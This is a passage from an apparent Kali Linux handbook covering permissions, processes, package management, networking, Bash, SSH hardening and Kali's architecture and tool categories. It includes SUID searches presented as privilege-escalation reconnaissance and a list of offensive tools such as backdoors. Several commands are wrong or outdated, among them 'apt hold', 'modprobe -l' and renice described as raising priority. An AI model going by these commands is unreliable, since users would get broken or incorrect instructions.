Jan 1 12:34 script.sh\n\n# Breakdown:\n# -: file type (d directory, l link, - file)\n# rwx: user permissions\n# r-x: group permissions\n# r--: others permissions\n# 1: number of hard links\n# john: owner\n# developers: group\n# 1024: size\n# Jan 1 12:34: modification date\n# script.sh: filename\n```\n\n**Changing Permissions**:\n\n```bash\n# Symbolic mode\nchmod u+x script.sh     # Add execute for user\nchmod g-w script.sh     # Remove write for group\nchmod o=r script.sh     # Set others to read-only\nchmod a+x script.sh     # Add execute for all\n\n# Numeric mode\nchmod 755 script.sh     # rwxr-xr-x\nchmod 644 file.txt      # rw-r--r--\nchmod 600 private.key   # rw-------\nchmod 777 dangerous.sh  # rwxrwxrwx (avoid!)\n\n# Recursive changes\nchmod -R 755 /path/to/directory\n```\n\n**Changing Ownership**:\n\n```bash\n# Change owner\nchown john script.sh\n\n# Change group\nchown :developers script.sh\n\n# Change both\nchown john:developers script.sh\n\n# Recursive\nchown -R john:developers /home/john\n```\n\n#### 3.3.2 Special Permissions\n\n**SUID (Set User ID) - 4000**:\n- Executes with owner's privileges\n- Security risk when misconfigured\n- Find SUID files for privilege escalation\n\n```bash\n# Set SUID\nchmod u+s program\nchmod 4755 program\n\n# Find SUID files\nfind / -perm -4000 2&gt;/dev/null\nfind / -type f -perm -04000 -ls 2&gt;/dev/null\n\n# Examples\n-rwsr-xr-x 1 root root /usr/bin/passwd\n-rwsr-xr-x 1 root root /bin/su\n```\n\n**SGID (Set Group ID) - 2000**:\n- Executes with group privileges\n- New files inherit group\n- Important for shared directories\n\n```bash\n# Set SGID\nchmod g+s directory\nchmod 2755 directory\n\n# Find SGID files\nfind / -perm -2000 2&gt;/dev/null\n\n# Examples\n-rwxr-sr-x 1 root shadow /usr/bin/expiry\ndrwxrwsr-x 2 root staff /usr/local/share\n```\n\n**Sticky Bit - 1000**:\n- Only owner can delete/rename files\n- Used on /tmp directory\n\n```bash\n# Set sticky bit\nchmod +t directory\nchmod 1777 directory\n\n# Check sticky bit\nls -ld /tmp\n# drwxrwxrwt 20 root root 4096 Jan 1 /tmp\n\n# Find sticky directories\nfind / -type d -perm -1000 2&gt;/dev/null\n```\n\n#### 3.3.3 Access Control Lists (ACLs)\n\nACLs provide fine-grained permissions beyond traditional Unix permissions:\n\n**Viewing ACLs**:\n\n```bash\n# Install ACL tools\napt install -y acl\n\n# View ACL\ngetfacl file.txt\n# file: file.txt\n# owner: john\n# group: developers\n# user::rw-\n# user:jane:r--\n# group::r--\n# mask::r--\n# other::r--\n```\n\n**Setting ACLs**:\n\n```bash\n# Grant specific user access\nsetfacl -m u:jane:rw file.txt\n\n# Grant specific group access\nsetfacl -m g:devops:rx directory/\n\n# Remove specific entry\nsetfacl -x u:jane file.txt\n\n# Remove all ACLs\nsetfacl -b file.txt\n\n# Set default ACLs for directory\nsetfacl -d -m u:jane:rwx directory/\n```\n\n**Important ACL Considerations**:\n- ACLs add complexity\n- Backward compatible with standard permissions\n- Can impact performance on many files\n- Use `ls -l` shows '+' for ACLs\n\n### 3.4 Process Management\n\nUnderstanding processes is crucial for system monitoring, exploitation, and privilege escalation.\n\n#### 3.4.1 Process Basics\n\n**Process States**:\n- **R** - Running or runnable\n- **S** - Interruptible sleep\n- **D** - Uninterruptible sleep\n- **Z** - Zombie (defunct)\n- **T** - Stopped\n- **t** - Tracing stop\n\n**Viewing Processes**:\n\n```bash\n# List processes\nps aux\nps -ef\n\n# Process tree\npstree\nps auxf\n\n# Show specific user processes\nps -u john\n\n# Show process by name\npgrep -l apache2\nps -C apache2\n```\n\n**Top/htop**:\n\n```bash\n# Install htop\napt install -y htop\n\n# Interactive process viewer\ntop\nhtop\n\n# Batch mode\ntop -b -n 1 &gt; top_output.txt\n\n# Show specific user\ntop -u john\n```\n\n#### 3.4.2 Process Management Commands\n\n**Signals**:\n\n```bash\n# Common signals\n# 1: SIGHUP - Hangup (reload)\n# 2: SIGINT - Interrupt (Ctrl+C)\n# 9: SIGKILL - Kill (force)\n# 15: SIGTERM - Terminate (graceful)\n\n# Send signals\nkill -15 PID\nkill -9 PID\nkillall -9 process_name\npkill -9 process_name\n\n# Send signal by name\npkill -HUP apache2\nkillall -TERM firefox\n```\n\n**Process Priority**:\n\n```bash\n# View priority (NI value: -20 to 19, lower = higher priority)\nps -eo pid,ni,cmd\n\n# Start with specific priority\nnice -n 10 command\nnice -10 command  # Lower priority\n\n# Change priority of running process\nrenice -n 5 -p PID\nrenice +5 -p PID  # Increase priority\n```\n\n**Background/Foreground**:\n\n```bash\n# Run in background\ncommand &amp;\ncommand &amp;&gt; /dev/null &amp;\n\n# Suspend process (Ctrl+Z)\n# List jobs\njobs\n\n# Bring to foreground\nfg %1\n\n# Run in background\nbg %1\n\n# Disown from shell\ndisown %1\n```\n\n#### 3.4.3 Monitoring and Debugging\n\n**System Monitoring**:\n\n```bash\n# System load\nuptime\nw\n\n# Memory usage\nfree -h\nvmstat 1 10\n\n# I/O statistics\niostat -x 1\niotop\n\n# Network connections\nnetstat -tulpn\nss -tulpn\nlsof -i\n```\n\n**Process Details**:\n\n```bash\n# Process information from /proc\ncat /proc/PID/cmdline\ncat /proc/PID/environ\nls -l /proc/PID/fd/\n\n# Open files by process\nlsof -p PID\nlsof -c process_name\n\n# Memory maps\ncat /proc/PID/maps\npmap PID\n```\n\n### 3.5 Package Management (APT &amp; DPKG)\n\nKali uses Debian's package management system, essential for tool installation and system maintenance.\n\n#### 3.5.1 APT (Advanced Package Tool)\n\n**Repository Configuration**:\n\n```bash\n# Sources list\ncat /etc/apt/sources.list\n\n# Kali repositories\ndeb https://http.kali.org/kali kali-rolling main non-free contrib\ndeb-src https://http.kali.org/kali kali-rolling main non-free contrib\n\n# Add repository (be careful with non-Kali repos!)\necho \"deb http://http.kali.org/kali kali-rolling main non-free contrib\" | sudo tee /etc/apt/sources.list\n```\n\n**Basic APT Commands**:\n\n```bash\n# Update package lists\napt update\n\n# Upgrade all packages\napt upgrade\napt full-upgrade  # Handles dependency changes\n\n# Install packages\napt install package-name\napt install -y package-name  # Auto-yes\n\n# Remove packages\napt remove package-name\napt purge package-name  # Remove with configs\napt autoremove  # Remove unused dependencies\n\n# Search packages\napt search keyword\napt show package-name\n\n# List installed\napt list --installed\napt list --upgradable\n```\n\n**Advanced APT Usage**:\n\n```bash\n# Download without installing\napt download package-name\n\n# Show package dependencies\napt depends package-name\napt rdepends package-name\n\n# Clean cache\napt clean\napt autoclean\n\n# Fix broken dependencies\napt --fix-broken install\n\n# Hold packages (prevent upgrades)\napt hold package-name\napt unhold package-name\n```\n\n#### 3.5.2 DPKG (Debian Package Manager)\n\n**Basic DPKG Commands**:\n\n```bash\n# Install local .deb file\ndpkg -i package.deb\n\n# Remove package\ndpkg -r package-name\ndpkg -P package-name  # Purge with configs\n\n# List installed\ndpkg -l\ndpkg -l | grep pattern\n\n# Package information\ndpkg -s package-name\ndpkg -p package.deb\n\n# List files in package\ndpkg -L package-name\n\n# Find package owning file\ndpkg -S /path/to/file\n```\n\n**Package Reconfiguration**:\n\n```bash\n# Reconfigure installed package\ndpkg-reconfigure package-name\n\n# Verify package integrity\ndpkg --verify package-name\ndebsums package-name  # Install debsums first\n```\n\n#### 3.5.3 Troubleshooting Package Issues\n\n**Common Problems**:\n\n```bash\n# Fix interrupted installs\ndpkg --configure -a\n\n# Force install (careful!)\ndpkg -i --force-all package.deb\n\n# Hold broken package\necho \"package-name hold\" | dpkg --set-selections\n\n# Clear stuck packages\nrm /var/lib/dpkg/info/package-name.*\ndpkg --remove --force-remove-reinstreq package-name\n```\n\n### 3.6 Networking Basics in Linux\n\nNetwork fundamentals are critical for penetration testing and system administration.\n\n#### 3.6.1 Network Configuration\n\n**Interface Management**:\n\n```bash\n# List interfaces\nip link show\nifconfig -a\n\n# Enable/disable interface\nip link set eth0 up\nip link set eth0 down\nifconfig eth0 up\n\n# View IP addresses\nip addr show\nifconfig\n\n# Add IP address\nip addr add 192.168.1.100/24 dev eth0\nifconfig eth0 192.168.1.100 netmask 255.255.255.0\n```\n\n**Routing**:\n\n```bash\n# View routing table\nip route show\nroute -n\n\n# Add default gateway\nip route add default via 192.168.1.1\nroute add default gw 192.168.1.1\n\n# Add static route\nip route add 10.0.0.0/24 via 192.168.1.254\nroute add -net 10.0.0.0 netmask 255.255.255.0 gw 192.168.1.254\n\n# Delete route\nip route del 10.0.0.0/24\nroute del -net 10.0.0.0/24\n```\n\n**DNS Configuration**:\n\n```bash\n# DNS servers\ncat /etc/resolv.conf\n# nameserver 8.8.8.8\n# nameserver 8.8.4.4\n\n# Test DNS\nnslookup example.com\ndig example.com\nhost example.com\n\n# Query specific DNS server\ndig @8.8.8.8 example.com\nnslookup example.com 8.8.8.8\n```\n\n#### 3.6.2 Network Diagnostics\n\n**Connectivity Testing**:\n\n```bash\n# Ping test\nping -c 4 8.8.8.8\nping -c 4 google.com\n\n# Traceroute\ntraceroute google.com\nmtr google.com  # Combined ping/traceroute\n\n# Path MTU discovery\ntracepath google.com\n```\n\n**Port Connectivity**:\n\n```bash\n# Test TCP port\nnc -zv google.com 80\nnc -zvw 3 target.com 1-1000  # Port range\ntelnet target.com 80\n\n# Test UDP port\nnc -zuv target.com 53\n\n# Using /dev/tcp (bash)\necho &gt;/dev/tcp/google.com/80 &amp;&amp; echo \"Port open\"\n```\n\n**Bandwidth Testing**:\n\n```bash\n# iperf3 (server/client)\niperf3 -s  # Server\niperf3 -c server-ip  # Client\n\n# Speed test CLI\nspeedtest-cli\n```\n\n#### 3.6.3 Advanced Networking\n\n**Network Namespaces**:\n\n```bash\n# Create namespace\nip netns add test-ns\n\n# List namespaces\nip netns list\n\n# Execute command in namespace\nip netns exec test-ns ip addr\n\n# Add veth pair\nip link add veth0 type veth peer name veth1\nip link set veth1 netns test-ns\n```\n\n**Bonding and Teaming**:\n\n```bash\n# Install bonding module\nmodprobe bonding\n\n# Create bond interface\nip link add bond0 type bond mode 802.3ad\nip link set eth0 master bond0\nip link set eth1 master bond0\n```\n\n### 3.7 Bash Shell Mastery\n\nProficiency with Bash is essential for efficient penetration testing and automation.\n\n#### 3.7.1 Command Line Efficiency\n\n**Navigation**:\n\n```bash\n# Directory navigation\ncd ~        # Home directory\ncd -        # Previous directory\ncd ..       # Parent directory\n\n# Directory stack\npushd /tmp  # Push and go to directory\npopd        # Return to previous\ndirs        # Show stack\n```\n\n**Command History**:\n\n```bash\n# History commands\nhistory\n!!          # Run last command\n!100        # Run command #100\n!nmap       # Run last nmap command\n!$          # Last argument of previous command\n\n# Search history\nCtrl+R      # Reverse search\nhistory | grep nmap\n```\n\n**Command Substitution**:\n\n```bash\n# Command substitution\necho \"Today is $(date)\"\necho \"Files: $(ls | wc -l)\"\n\n# Backticks (older style)\necho \"Hostname: `hostname`\"\n```\n\n#### 3.7.2 Input/Output Redirection\n\n**Standard Streams**:\n\n```bash\n# stdin (0), stdout (1), stderr (2)\n\n# Redirect output\ncommand &gt; file.txt      # stdout to file\ncommand 2&gt; errors.txt   # stderr to file\ncommand &amp;&gt; all.txt      # both to file\n\n# Append\ncommand &gt;&gt; file.txt     # Append stdout\ncommand 2&gt;&gt; errors.txt  # Append stderr\n\n# Redirect input\ncommand &lt; input.txt\ncommand &lt;&lt; EOF\nmultiline\ninput\nEOF\n\n# Pipes\ncommand1 | command2\ncommand1 2&gt;&amp;1 | command2  # Pipe both stdout and stderr\n```\n\n**Process Substitution**:\n\n```bash\n# Process substitution\ndiff &lt;(ls dir1) &lt;(ls dir2)\nwhile read line; do echo $line; done &lt; &lt;(command)\n```\n\n#### 3.7.3 Variables and Environment\n\n**Variable Types**:\n\n```bash\n# Local variables\nname=\"John\"\necho $name\n\n# Environment variables\nexport PATH=$PATH:/custom/path\nexport EDITOR=vim\n\n# Special variables\n$0          # Script name\n$1, $2...   # Script arguments\n$#          # Number of arguments\n$@          # All arguments\n$?          # Exit status of last command\n$$          # Process ID\n$!          # PID of last background command\n```\n\n**Variable Operations**:\n\n```bash\n# Default values\n${var:-default}      # Use default if var unset\n${var:=default}      # Set default if var unset\n${var:?error}        # Error if var unset\n${var:+alternate}    # Use alternate if var set\n\n# String manipulation\n${#var}              # String length\n${var:offset:length} # Substring\n${var#pattern}       # Remove shortest prefix\n${var##pattern}      # Remove longest prefix\n${var%pattern}       # Remove shortest suffix\n${var%%pattern}      # Remove longest suffix\n${var/old/new}       # Replace first match\n${var//old/new}      # Replace all matches\n```\n\n#### 3.7.4 Arrays and Loops\n\n**Arrays**:\n\n```bash\n# Array declaration\nfruits=(\"apple\" \"banana\" \"orange\")\nnumbers=(1 2 3 4 5)\n\n# Access elements\necho ${fruits[0]}     # First element\necho ${fruits[@]}     # All elements\necho ${#fruits[@]}    # Array length\n\n# Array operations\nfruits+=(\"grape\")     # Append\nunset fruits[1]       # Remove element\n\n# Associative arrays (Bash 4+)\ndeclare -A user\nuser[name]=\"John\"\nuser[age]=30\n```\n\n**Loops**:\n\n```bash\n# For loop\nfor i in {1..5}; do\n    echo \"Number: $i\"\ndone\n\n# C-style for\nfor ((i=0; i&lt;5; i++)); do\n    echo $i\ndone\n\n# While loop\ncount=1\nwhile [ $count -le 5 ]; do\n    echo $count\n    ((count++))\ndone\n\n# Until loop\ncount=1\nuntil [ $count -gt 5 ]; do\n    echo $count\n    ((count++))\ndone\n\n# Loop over files\nfor file in *.txt; do\n    echo \"Processing: $file\"\ndone\n\n# Loop with command output\nwhile read line; do\n    echo $line\ndone &lt; &lt;(ls -la)\n```\n\n#### 3.7.5 Conditionals and Tests\n\n**Test Constructs**:\n\n```bash\n# if statement\nif [ condition ]; then\n    commands\nelif [ condition2 ]; then\n    commands\nelse\n    commands\nfi\n\n# File tests\n[ -f file ]   # Is regular file\n[ -d dir ]    # Is directory\n[ -x file ]   # Is executable\n[ -r file ]   # Is readable\n[ -w file ]   # Is writable\n[ -s file ]   # Size &gt; 0\n[ -e file ]   # File exists\n\n# String tests\n[ \"$str1\" = \"$str2\" ]   # Equal\n[ \"$str1\" != \"$str2\" ]  # Not equal\n[ -z \"$str\" ]            # Empty string\n[ -n \"$str\" ]            # Non-empty string\n\n# Numeric tests\n[ $a -eq $b ]   # Equal\n[ $a -ne $b ]   # Not equal\n[ $a -gt $b ]   # Greater than\n[ $a -ge $b ]   # Greater or equal\n[ $a -lt $b ]   # Less than\n[ $a -le $b ]   # Less or equal\n\n# Logical operators\n[ cond1 -a cond2 ]  # AND\n[ cond1 -o cond2 ]  # OR\n! [ cond ]          # NOT\n\n# Double brackets (Bash-specific)\n[[ $str == pattern ]]   # Pattern matching\n[[ $str =~ regex ]]     # Regex matching\n```\n\n#### 3.7.6 Functions\n\n**Function Definition**:\n\n```bash\n# Function syntax\nfunction_name() {\n    commands\n    return value  # Optional return\n}\n\n# Alternative\nfunction function_name {\n    commands\n}\n\n# Call function\nfunction_name arg1 arg2\n```\n\n**Function Examples**:\n\n```bash\n# Function with parameters\ngreet() {\n    echo \"Hello, $1!\"\n    return 0\n}\n\n# Function with local variables\nprocess_file() {\n    local file=\"$1\"\n    local count=$(wc -l &lt; \"$file\")\n    echo \"$file has $count lines\"\n}\n\n# Function returning value\nis_root() {\n    if [ $EUID -eq 0 ]; then\n        return 0  # True\n    else\n        return 1  # False\n    fi\n}\n\nif is_root; then\n    echo \"Running as root\"\nfi\n```\n\n### 3.8 SSH Configuration &amp; Hardening\n\nSecure Shell is essential for remote administration and penetration testing.\n\n#### 3.8.1 SSH Client Usage\n\n**Basic Connections**:\n\n```bash\n# Basic SSH\nssh user@hostname\nssh -p 2222 user@hostname  # Custom port\nssh -l username hostname\n\n# SSH with key\nssh -i ~/.ssh/id_rsa user@hostname\n\n# Verbose (debugging)\nssh -vvv user@hostname\n\n# Command execution\nssh user@hostname 'ls -la'\nssh user@hostname 'command1; command2'\n```\n\n**SSH Config File (~/.ssh/config)**:\n\n```bash\n# Host-specific configuration\nHost kali-lab\n    HostName 192.168.1.100\n    User analyst\n    Port 2222\n    IdentityFile ~/.ssh/kali-key\n\n# Wildcard configuration\nHost *.lab.local\n    User analyst\n    ForwardAgent no\n\n# Jump host configuration\nHost target\n    HostName 10.0.0.10\n    User admin\n    ProxyJump jump-host\n```\n\n**SSH Tunneling**:\n\n```bash\n# Local port forwarding\n# Access internal service via SSH\nssh -L 8080:internal:80 user@gateway\n\n# Remote port forwarding\n# Expose local service externally\nssh -R 8080:localhost:80 user@public-server\n\n# Dynamic port forwarding (SOCKS proxy)\nssh -D 1080 user@gateway\n# Configure browser to use localhost:1080 as SOCKS proxy\n\n# Multiple tunnels\nssh -L 8080:web:80 -L 3389:rdp:3389 user@gateway\n```\n\n**SSH Agent**:\n\n```bash\n# Start agent\neval $(ssh-agent)\n\n# Add key\nssh-add ~/.ssh/id_rsa\nssh-add -l  # List keys\nssh-add -d  # Delete key\n\n# Agent forwarding\nssh -A user@host\n# In SSH config: ForwardAgent yes\n```\n\n#### 3.8.2 SSH Server Configuration\n\n**Server Configuration (/etc/ssh/sshd_config)**:\n\n```bash\n# Basic settings\nPort 22\nProtocol 2\nHostKey /etc/ssh/ssh_host_rsa_key\nHostKey /etc/ssh/ssh_host_ecdsa_key\n\n# Authentication\nPermitRootLogin prohibit-password\nPubkeyAuthentication yes\nPasswordAuthentication no\nChallengeResponseAuthentication no\nUsePAM yes\n\n# Access control\nAllowUsers analyst john\nAllowGroups sshusers\nDenyUsers root bin\nDenyGroups guests\n\n# Security settings\nMaxAuthTries 3\nMaxSessions 10\nLoginGraceTime 30\nPermitEmptyPasswords no\nClientAliveInterval 300\nClientAliveCountMax 2\n\n# Forwarding\nAllowTcpForwarding yes\nX11Forwarding no\nAllowAgentForwarding no\n```\n\n**Key Management**:\n\n```bash\n# Generate server keys\nssh-keygen -t rsa -b 4096 -f /etc/ssh/ssh_host_rsa_key\nssh-keygen -t ecdsa -b 521 -f /etc/ssh/ssh_host_ecdsa_key\nssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key\n\n# Regenerate keys (if compromised)\nrm /etc/ssh/ssh_host_*\ndpkg-reconfigure openssh-server\n```\n\n**SSH Security Hardening**:\n\n```bash\n# Disable weak algorithms\n# In sshd_config\nKexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256\nCiphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com\nMACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com\n\n# Set up fail2ban\napt install fail2ban\ncp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local\n# Configure SSH jail\nsystemctl enable fail2ban\nsystemctl start fail2ban\n\n# Use port knocking (optional)\napt install knockd\n# Configure knockd.conf for SSH access sequence\n```\n\n#### 3.8.3 SSH Troubleshooting\n\n**Common Issues**:\n\n```bash\n# Check SSH service\nsystemctl status ssh\nnetstat -tlnp | grep :22\n\n# Check logs\ntail -f /var/log/auth.log\njournalctl -u ssh -f\n\n# Test connectivity\nssh -v user@host\nssh -T user@host  # Test without shell\n\n# Check permissions\nchmod 700 ~/.ssh\nchmod 600 ~/.ssh/id_rsa\nchmod 644 ~/.ssh/id_rsa.pub\nchmod 600 ~/.ssh/authorized_keys\nchmod 644 ~/.ssh/config\n```\n\n**SSH Key Troubleshooting**:\n\n```bash\n# Debug key issues\nssh -v -i key user@host\nssh-keygen -y -f private.key  # Verify private key\n\n# Convert key formats\nssh-keygen -p -f key  # Change passphrase\nssh-keygen -t rsa -b 4096 -f newkey  # Generate new\n\n# Add key to agent\nssh-add -l  # List agent keys\nssh-add ~/.ssh/id_rsa\n```\n\n---\n\n## Chapter 4 \u2014 Kali Linux Architecture\n\n### 4.1 Debian Base and Rolling Release Model\n\nUnderstanding Kali's underlying architecture helps users effectively maintain and troubleshoot their systems.\n\n#### 4.1.1 Debian Foundation\n\nKali Linux is built upon Debian's testing branch, providing a stable yet up-to-date foundation:\n\n**Debian Branches**:\n- **Stable**: Production-ready, rarely updated\n- **Testing**: Packages after brief testing, rolling\n- **Unstable** (Sid): Latest packages, potentially unstable\n\n**Why Debian Testing**:\n- More current packages than Debian Stable\n- More stable than Debian Unstable\n- Large package repository\n- Strong community support\n- Predictable package management\n\n**Debian-Specific Features**:\n\n```bash\n# Debian version information\ncat /etc/debian_version\nlsb_release -a\n\n# Debian package management\ndpkg --print-architecture\napt-cache policy package-name\n\n# Debian-specific directories\n/etc/apt/           # APT configuration\n/var/lib/dpkg/      # Package database\n/usr/share/doc/     # Package documentation\n```\n\n#### 4.1.2 Rolling Release Model\n\nKali's rolling release model ensures tools are always current:\n\n**Advantages**:\n- Latest security tools immediately available\n- No major version upgrades needed\n- Continuous security updates\n- New features as soon as they're ready\n\n**Update Process**:\n\n```bash\n# Regular updates\napt update\napt full-upgrade -y\n\n# Check for distribution updates\ngrep -r \"VERSION\" /etc/os-release\n\n# Kali specific update\nkali-update\n\n# Monitor rolling releases\ncat /etc/apt/sources.list\n# Should contain: deb https://http.kali.org/kali kali-rolling main non-free contrib\n```\n\n**Potential Challenges**:\n- Package conflicts occasionally\n- Need for regular updates\n- Potential breakage with major changes\n- Requires understanding of package management\n\n### 4.2 Package Repositories\n\nKali's repositories are structured to provide security tools while maintaining system stability.\n\n#### 4.2.1 Repository Structure\n\n**Default Repositories**:\n\n```bash\n# /etc/apt/sources.list\ndeb https://http.kali.org/kali kali-rolling main non-free contrib\ndeb-src https://http.kali.org/kali kali-rolling main non-free contrib\n\n# Additional repositories (use with caution)\ndeb https://http.kali.org/kali kali-last-snapshot main non-free contrib\n```\n\n**Repository Components**:\n- **main**: Officially supported free software\n- **non-free**: Non-free software (drivers, firmware)\n- **contrib**: Depends on non-free packages\n\n#### 4.2.2 Mirror Selection\n\n**Choosing Mirrors**:\n\n```bash\n# List Kali mirrors\ncurl https://http.kali.org/README-mirror\n\n# Use mirror selector\napt install -y netselect-apt\nnetselect-apt kali-rolling\n\n# Manual mirror configuration\n# Edit /etc/apt/sources.list\ndeb https://mirrors.ocf.berkeley.edu/kali kali-rolling main non-free contrib\n```\n\n**Mirror Verification**:\n\n```bash\n# Verify mirror integrity\nwget -q -O - https://archive.kali.org/archive-key.asc | apt-key add -\n\n# Check repository metadata\napt update\napt-cache policy\n```\n\n#### 4.2.3 Repository Management\n\n**Adding Custom Repositories**:\n\n```bash\n# Create repository file\necho \"deb https://custom.repo/ubuntu focal main\" &gt; /etc/apt/sources.list.d/custom.list\n\n# Add GPG key\nwget -q -O - https://custom.repo/key.asc | apt-key add -\n\n# Update and install\napt update\napt install custom-package\n```\n\n**Repository Priorities (APT Pinning)**:\n\n```bash\n# /etc/apt/preferences.d/kali\nPackage: *\nPin: release o=Kali\nPin-Priority: 1000\n\n# Prevent non-Kali packages\nPackage: *\nPin: release o=Debian\nPin-Priority: -1\n```\n\n### 4.3 Metapackages\n\nKali uses metapackages to group related tools for easy installation.\n\n#### 4.3.1 Available Metapackages\n\n**Core Metapackages**:\n\n```bash\n# List available metapackages\napt-cache search kali-linux\n\n# Essential metapackages\nkali-linux-core        # Minimal core system\nkali-linux-headless    # Server installation\nkali-linux-default     # Default desktop tools\nkali-linux-large       # Extended toolset\nkali-linux-full        # Everything\n```\n\n**Specialized Metapackages**:\n\n```bash\n# Category-specific\nkali-linux-wireless    # Wireless testing\nkali-linux-web         # Web application testing\nkali-linux-pwt         # Password cracking\nkali-linux-forensic    # Digital forensics\nkali-linux-gpu         # GPU tools\nkali-linux-arm         # ARM development\nkali-linux-nethunter   # NetHunter platform\nkali-linux-everything  # All tools\n```\n\n#### 4.3.2 Installing Metapackages\n\n**Basic Installation**:\n\n```bash\n# Install specific metapackage\napt install -y kali-linux-wireless\n\n# Install multiple\napt install -y kali-linux-web kali-linux-pwt\n\n# Install all tools (large download)\napt install -y kali-linux-everything\n```\n\n**Custom Metapackage Creation**:\n\n```bash\n# Create custom metapackage definition\nmkdir mytools\ncd mytools\n\n# Create control file\ncat &lt;&lt; EOF &gt; control\nPackage: my-pentest-tools\nVersion: 1.0\nArchitecture: all\nMaintainer: Your Name \nDepends: nmap, wireshark, metasploit-framework, burpsuite\nDescription: My custom penetration testing tools\nEOF\n\n# Build package\ndpkg-deb --build . my-pentest-tools.deb\n\n# Install\ndpkg -i my-pentest-tools.deb\n```\n\n### 4.4 Kali Tool Categories\n\nKali organizes tools according to penetration testing phases and categories.\n\n#### 4.4.1 Main Categories\n\n**Information Gathering**:\n- Network scanning (nmap, masscan)\n- OSINT tools (theHarvester, maltego)\n- DNS enumeration (dnsrecon, fierce)\n- Web reconnaissance (whatweb, wafw00f)\n\n**Vulnerability Analysis**:\n- Vulnerability scanners (openvas, nikto)\n- Fuzzing tools (wfuzz, sfuzz)\n- Stress testing (dhcpig, slowhttptest)\n\n**Web Applications**:\n- Web proxies (burpsuite, zaproxy)\n- SQL injection (sqlmap, sqlninja)\n- CMS testing (wpscan, joomscan)\n\n**Database Assessment**:\n- SQL assessment (sqlmap, sqldict)\n- Database scanners (bbqsql, jsql)\n\n**Password Attacks**:\n- Online attacks (hydra, medusa)\n- Offline cracking (john, hashcat)\n- Wordlists (rockyou, crunch)\n\n**Wireless Attacks**:\n- 802.11 (aircrack-ng, kismet)\n- Bluetooth (blueranger, redfang)\n- RFID (libnfc, mfoc)\n\n**Reverse Engineering**:\n- Debuggers (gdb, edb)\n- Disassemblers (radare2, ghidra)\n- Decompilers (jadx, apktool)\n\n**Exploitation Tools**:\n- Frameworks (metasploit, exploitdb)\n- Shellcode (msfvenom, shellter)\n- Social engineering (setoolkit)\n\n**Sniffing &amp; Spoofing**:\n- Packet capture (wireshark, tcpdump)\n- MITM tools (ettercap, bettercap)\n- Protocol analysis (scapy, dsniff)\n\n**Post Exploitation**:\n- Backdoors (weevely, php-backdoors)\n- Tunneling (proxychains, sshuttle)\n- Privilege escalation (linenum, winpeas)\n\n**Forensics**:\n- Imaging (dc3dd, guymager)\n- Analysis (autopsy, sleuthkit)\n- Memory (volatility, rekall)\n\n**Reporting Tools**:\n- Documentation (keepnote, cherrytree)\n- Report generation (dradis, magictree)\n\n#### 4.4.2 Tool Management\n\n**Finding Tools**:\n\n```bash\n# Search by category\napt-cache search kali | grep wireless\napt-cache search penetration testing\n\n# Tool locations\nwhich nmap\nwhereis metasploit\ndpkg -L metasploit-framework\n```\n\n**Tool Documentation**:\n\n```bash\n# Man pages\nman nmap\nnmap -h\nnmap --help\n\n# Tool documentation\nls /usr/share/doc/nmap/\nls /usr/share/metasploit-framework/documentation/\n```\n\n### 4.5 Kernel Customizations\n\nKali includes specific kernel modifications for penetration testing.\n\n#### 4.5.1 Wireless Injection Support\n\n**Kernel Patches**:\n\n```bash\n# Check wireless support\niw list | grep \"Supported interface modes\"\nairmon-ng\n\n# Kernel modules\nlsmod | grep -E \"rtl|ath|mac80211\"\nmodinfo ath9k_htc\n```\n\n**Custom Kernel Features**:\n- Packet injection patches\n- Monitor mode support\n- Promiscuous mode\n- Raw socket access\n\n#### 4.5.2 Kernel Configuration\n\n**Current Kernel Info**:\n\n```bash\n# Kernel version\nuname -a\ncat /proc/version\n\n# Kernel modules\nls /lib/modules/$(uname -r)/\nmodprobe -l\n```\n\n**Kernel Parameters**:\n\n```bash\n# View parameters\nsysctl -a\ncat /etc/sysctl.conf\n\n# Modify runtime parameters\nsysctl -w net.ipv4.ip_forward=1\necho 1 &gt; /proc/sys/net/ipv4/ip_forward\n\n# Persistent configuration\necho \"net.ipv4.ip_forward = 1\" &gt;&gt; /etc/sysctl.conf\n```\n\n#### 4.5.3 Custom Kernel Compilation\n\n**When to Compile Custom Kernel**:\n- Specific hardware support\n- Performance optimization\n- Research requirements\n- Embedded systems\n\n**Basic Compilation Process**:\n\n```bash\n# Install build dependencies\napt install -y build-essential linux-source bc kmod cpio flex libncurses5-dev libelf-dev libssl-dev\n\n# Get kernel source\napt install linux-source\ncd /usr/src\ntar xf linux-source-*.tar.xz\n\n# Configure kernel\nmake menuconfig\n# Enable/disable features as needed\n\n# Compile\nmake -j$(nproc)\nmake modules_install\nmake install\n```\n\n### 4.6 Security Policies\n\nKali implements specific security policies appropriate for penetration testing.\n\n#### 4.6.1 Default Security Posture\n\n**Root by Default**:\n```bash\n# Check current user\nwhoami\n# Returns: root\n\n# Security implications\n- Full system access\n- No sudo required\n- Increased risk if misused\n- Not for daily use\n```\n\n**Disabled Services**:\n```bash\n# Check running services\nsystemctl list-units --type=service --state=running\n\n# Common disabled services\n- SSH (enabled optionally)\n- Web servers\n- Database servers\n- Network file sharing\n```\n\n#### 4.6.2 Security Hardening Features\n\n**Network Security**:\n\n```bash\n# Default firewall rules\niptables -L\nnft list ruleset\n\n# TCP/IP stack hardening\ncat /etc/sysctl.d/99-kali.conf\n# net.ipv4.tcp_syncookies=1\n# net.ipv4.conf.all.rp_filter=1\n# net.ipv4.conf.all.accept_source_route=0\n```\n\n**File System Security**:\n\n```bash\n# Mount options\nmount | grep -E \"/(tmp|var/tmp)\"\n# tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)\n\n# Protected directories\nls -ld /tmp\nls -ld /var/tmp\n```\n\n### 4.7 System Logging &amp; Monitoring\n\nProper logging is essential for both security monitoring and forensic analysis.\n\n#### 4.7.1 Logging Architecture\n\n**Log Files**:\n\n```bash\n# System logs\n/var/log/syslog      # General system log\n/var/log/auth.log    # Authentication log\n/var/log/kern.log    # Kernel log\n/var/log/dpkg.log    # Package management\n/var/log/apt/        # APT logs\n/var/log/nginx/      # Web server logs\n/var/log/mysql/      # Database logs\n```\n\n**Log Rotation**:\n\n```bash\n# Logrotate configuration\ncat /etc/logrotate.conf\nls /etc/logrotate.d/\n\n# Manual rotation\nlogrotate -f /etc/logrotate.conf\n```\n\n#### 